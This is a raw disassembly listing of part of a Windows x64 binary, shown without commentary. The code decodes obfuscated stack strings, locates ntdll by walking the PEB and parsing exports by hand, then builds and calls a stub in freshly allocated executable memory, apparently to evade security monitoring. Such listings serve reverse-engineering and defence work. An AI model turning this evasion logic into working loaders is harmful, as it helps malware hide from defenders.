lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb4f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb50], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb51], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r12b
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb52], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb53], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb54], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb55], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb56], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb57], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb58], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb59], al
mov r9d, edi
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb5a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb5b], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb5c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb5d], al
mov r9d, edi
mov r8, r14
mov dl, 0x67
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb5e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb5f], al
mov r9d, edi
mov r8, r15
mov dl, r12b
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb60], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb61], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb62], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0xb48]
call fcn.140043e64
mov byte [rbp + 0xb63], al
xor eax, eax
mov byte [rbp + 0xb64], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb48]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb48]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb49], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x14003d5b5
mov byte [rbp + 0xb64], r10b
xor r9d, r9d
lea r8, [rbp + 0xb31]
lea rdx, [rbp + 0xb49]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov qword [rbp + 0xd20], r9
mov qword [rbp + 0xef8], 0x1000
mov byte [rbp + 0x758], Ordinal_27
mov r9, r15
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x759], al
mov r9, r15
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x75a], al
mov r9, r15
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x75b], al
mov r9, r15
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x75c], al
mov r9, r15
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x75d], al
mov r9, r15
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x75e], al
mov r9, r15
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x75f], al
mov r9, r15
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x760], al
mov r9, r15
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x761], al
mov r9, r15
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x762], al
mov r9, r15
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x763], al
mov r9, r15
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x764], al
mov r9, r15
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x765], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x766], al
mov r9, r15
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x767], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x768], al
mov r9, r15
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x769], al
mov r9, r15
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x76a], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x76b], al
mov r9, r15
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x76c], al
mov r9, r15
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x76d], al
mov r9, r15
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x76e], al
mov r9, r15
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + 0x76f], al
xor eax, eax
mov byte [rbp + 0x770], al
mov edi, eax
lea r13d, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x759]
lea rcx, [rbp + 0x758]
call fcn.140042d44
mov byte [rbp + rdi + 0x759], al
add rdi, r13
cmp rdi, r15
jb 0x14003d90c
xor edi, edi
mov byte [rbp + 0x770], dil
mov byte [rbp + 0x168], 7
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x169], al
mov r9d, r13d
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x16a], al
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x16b], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x16c], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x16d], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x16e], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x16f], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x170], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + 0x171], al
xor eax, eax
mov byte [rbp + 0x172], al
lea r13d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x169]
lea rcx, [rbp + 0x168]
call fcn.140042908
mov byte [rbp + rdi + 0x169], al
add rdi, r15
cmp rdi, 9
jb 0x14003da49
xor eax, eax
mov byte [rbp + 0x172], al
mov rax, qword gs:[0x60]
test rax, rax
mov r15d, reloc.WS2_32.dll_socket
je 0x14003dde8
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14003db1b
lea r15d, [rax + 1]
mov r10d, r15d
mov rsi, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x14003daef
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003db77
mov rax, rcx
lea r9, [rbp + 0x169]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003db70
add rax, r11
test edx, edx
jne 0x14003db5b
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x14003db9b
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x28]
jne 0x14003daa5
jmp 0x14003dde8
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14003dde8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003dde8
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003dde8
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003dde8
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14003dde8
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x759]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003dc2b
inc rax
test edi, edi
jne 0x14003dc16
test r8d, r8d
mov r8d, 1
je 0x14003dc44
add rdx, r8
cmp rdx, qword [rbp - 0x40]
jb 0x14003dc05
jmp 0x14003ddee
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14003ddee
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
cmp eax, r8d
jl 0x14003ddee
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.1400a18a0
or dword [rbp + 0x281f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x26e70]
call fcn.1400437d4
lea rcx, [rbp + 0x26e70]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x26e70]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x47490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14003dce6
mov r15d, 0x1000
mov r8d, r15d
lea rdx, [rbp + 0x47490]
mov rdi, qword [rbp - 0x48]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x70]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe78], eax
lea r9, [rbp + 0xe78]
mov r8d, r12d
mov edx, r15d
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xef8]
xor r8d, r8d
lea rdx, [rbp + 0xd20]
mov rcx, qword [rbp - 0x60]
call rdi
mov edi, eax
lea r9, [rbp + 0xe78]
mov r8d, dword [rbp + 0xe78]
mov edx, r15d
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r15d
xor edx, edx
mov rcx, qword [rbp - 0x48]
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
lea r15d, [rax + 0x17]
js 0x14003de02
mov r8d, 1
mov rax, qword [rbp + 0xd20]
mov qword [rbp - 0x78], rax
test rax, rax
jne 0x14003e3f3
mov word [rbp + 0x410], 0xd957
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x412], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x413], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x414], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x415], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x416], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x417], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x418], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x419], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x41a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x41b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x41c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x41d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x41e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x41f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x420], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x410]
call fcn.1400429f8
mov byte [rbp + 0x421], al
xor eax, eax
mov byte [rbp + 0x422], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x410]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x410]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x411], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x14003dff8
xor r10d, r10d
mov byte [rbp + 0x422], r10b
mov word [rbp + 0x860], 0x954
lea edi, [r10 + 0x1b]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x862], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x69
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x863], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x864], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x865], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x866], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r12b
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x867], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x868], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x869], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r12b
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x86a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x86b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x86c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x86d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x86e], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x86f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x870], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x871], al
mov r9d, edi
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x872], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x873], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x874], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x875], al
mov r9d, edi
mov r8, r14
mov dl, 0x67
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x876], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x877], al
mov r9d, edi
mov r8, r15
mov dl, r12b
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x878], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x879], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x87a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x33
lea rcx, [rbp + 0x860]
call fcn.140043e64
mov byte [rbp + 0x87b], al
xor eax, eax
mov byte [rbp + 0x87c], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x860]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x860]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x861], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x14003e35a
mov byte [rbp + 0x87c], r10b
xor r9d, r9d
lea r8, [rbp + 0x411]
lea rdx, [rbp + 0x861]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0xe10]
add rax, rcx
mov dword [0x14010d339], r8d
mov rdx, qword [rbp - 0x50]
mov qword [0x14010d33f], rdx
mov qword [0x14010d349], rcx
mov qword [0x14010d353], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov word [rbp + 0x650], 0xb847
mov r9, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x652], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x653], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x654], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x655], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x656], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x657], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x658], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x659], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x65a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x65b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x65c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x65d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x65e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x65f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x660], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x661], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x662], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x663], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x650]
call fcn.1400430f8
mov byte [rbp + 0x664], al
xor eax, eax
mov byte [rbp + 0x665], al
mov r8d, eax
mov r9, rsi
lea r13d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x650]
add eax, r13d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x650]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x651], dil
add r8, r13
add r9, rsi
cmp r9, 0x1a4
jb 0x14003e66f
xor edi, edi
mov byte [rbp + 0x665], dil
mov word [rbp + 0x178], 0x2126
lea r9d, [rdi + 9]
mov r8, r13
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x17a], al
lea r13d, [rdi + 9]
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x17b], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x17c], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x17d], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x178]
call fcn.140042908
mov byte [rbp + 0x17e], al
mov r9d, r13d
lea r8d, [rdi + 6]
